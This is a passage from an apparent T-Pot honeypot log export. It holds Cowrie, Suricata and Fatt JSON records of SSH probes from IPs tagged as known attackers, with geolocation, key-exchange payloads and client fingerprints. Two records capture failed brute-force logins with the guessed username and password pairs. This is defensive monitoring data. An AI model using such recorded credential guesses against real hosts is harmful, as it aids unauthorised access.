"ssh", "src_port": 38220, "dest_port": 22, "timestamp": "2021-09-20T12:06:27.328750Z", "@timestamp": "2021-09-20T12:06:27.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	BR
35224	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:07:26.026871+03	2021-09-20 15:15:02.97369+03	{"_id": "-QYaA3wBvYTbRNuEllqU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b8c7fb65aae3", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:07:26.026871Z", "@timestamp": "2021-09-20T12:07:26.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35174	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:06:28.647707+03	2021-09-20 15:15:02.907689+03	{"_id": "fQYZA3wBvYTbRNuEt1rW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.login.failed", "message": "login attempt [student4/student] failed", "session": "7a77cf6eee57", "@version": "1", "password": "student", "username": "student4", "timestamp": "2021-09-20T12:06:28.647707Z", "@timestamp": "2021-09-20T12:06:28.647Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	BR
35175	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:06:28.952288+03	2021-09-20 15:15:02.908689+03	{"_id": "ewYZA3wBvYTbRNuEt1rW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [smbuser/smbuser] failed", "session": "3c29e2903913", "@version": "1", "password": "smbuser", "username": "smbuser", "timestamp": "2021-09-20T12:06:28.952288Z", "@timestamp": "2021-09-20T12:06:28.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35176	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:06:29.883318+03	2021-09-20 15:15:02.909692+03	{"_id": "gAYZA3wBvYTbRNuEu1q8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7a77cf6eee57", "@version": "1", "duration": 2.55393123626709, "timestamp": "2021-09-20T12:06:29.883318Z", "@timestamp": "2021-09-20T12:06:29.883Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	BR
35177	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:28.824775+03	2021-09-20 15:15:02.911691+03	{"_id": "eQYZA3wBvYTbRNuEt1rW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "96.78.175.36", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.1852271556854248, "duplicate": true, "timestamp": "2021-09-20T12:06:28.824775Z", "@timestamp": "2021-09-20T12:06:28.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35178	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:28.639629+03	2021-09-20 15:15:02.91269+03	{"_id": "eAYZA3wBvYTbRNuEt1rW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:28.639629Z", "@timestamp": "2021-09-20T12:06:28.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35179	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:06:30.239768+03	2021-09-20 15:15:02.91472+03	{"_id": "fwYZA3wBvYTbRNuEu1q8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3c29e2903913", "@version": "1", "duration": 2.918837547302246, "timestamp": "2021-09-20T12:06:30.239768Z", "@timestamp": "2021-09-20T12:06:30.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35225	36.27.214.211	109.199.241.180	Suricata	2021-09-20 15:07:26.321177+03	2021-09-20 15:15:02.97469+03	{"_id": "-wYaA3wBvYTbRNuEl1qz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:07:25.731063+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 922273250617271, "payload": "AAADzAYU37+LksUBEeA1Ip2EbZ8a2gAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36202, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:07:26.321177Z", "@timestamp": "2021-09-20T12:07:26.321Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..............5\\"..m......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
35180	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:28.829453+03	2021-09-20 15:15:02.916692+03	{"_id": "egYZA3wBvYTbRNuEt1rW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 20 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 20.734459400177002, "timestamp": "2021-09-20T12:06:28.829453Z", "@timestamp": "2021-09-20T12:06:28.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
35181	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:06:45.481486+03	2021-09-20 15:15:02.917698+03	{"_id": "jAYZA3wBvYTbRNuE91p2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 16046, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1145566450243790, "@version": "1", "in_iface": "enp5s0", "src_port": 53118, "dest_port": 53, "timestamp": "2021-09-20T12:06:45.481486Z", "@timestamp": "2021-09-20T12:06:45.481Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35182	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:06:45.578017+03	2021-09-20 15:15:02.91869+03	{"_id": "jwYZA3wBvYTbRNuE-FrP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36082, "timestamp": "2021-09-20T12:06:45.578017", "@timestamp": "2021-09-20T12:06:45.578Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35183	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:06:48.29406+03	2021-09-20 15:15:02.919689+03	{"_id": "lwYaA3wBvYTbRNuEAloS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:54985 (192.168.176.2:22) [session: 2afaeb12f0ef]", "session": "2afaeb12f0ef", "@version": "1", "protocol": "ssh", "src_port": 54985, "dest_port": 22, "timestamp": "2021-09-20T12:06:48.294060Z", "@timestamp": "2021-09-20T12:06:48.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35184	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:06:48.558457+03	2021-09-20 15:15:02.920719+03	{"_id": "mgYaA3wBvYTbRNuEA1ox", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1602392056752259, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54985, "dest_port": 22, "timestamp": "2021-09-20T12:06:48.558457Z", "@timestamp": "2021-09-20T12:06:48.558Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35185	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:06:48.558569+03	2021-09-20 15:15:02.92272+03	{"_id": "mwYaA3wBvYTbRNuEA1o6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:06:45.026755+0000", "pkts_toclient": 6, "pkts_toserver": 7, "bytes_toclient": 1043, "bytes_toserver": 1357}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1602392056752259, "payload": "AAADVAUU0Qg6mPvlJp+ql6KkiD+CPQAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAC3PxP+Ew==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54985, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:06:48.558569Z", "@timestamp": "2021-09-20T12:06:48.558Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T....:...&......?.=....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none..............?..."}}	1	\N	\N	alert	known attacker	CN
35186	218.92.0.190	109.199.241.180	Fatt	2021-09-20 15:06:48.558569+03	2021-09-20 15:15:02.923724+03	{"_id": "nQYaA3wBvYTbRNuEBFoq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 54985, "dest_port": 22, "timestamp": "2021-09-20T12:06:48.558569", "@timestamp": "2021-09-20T12:06:48.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35187	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:06:48.559192+03	2021-09-20 15:15:02.924689+03	{"_id": "ngYaA3wBvYTbRNuEBVr7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", 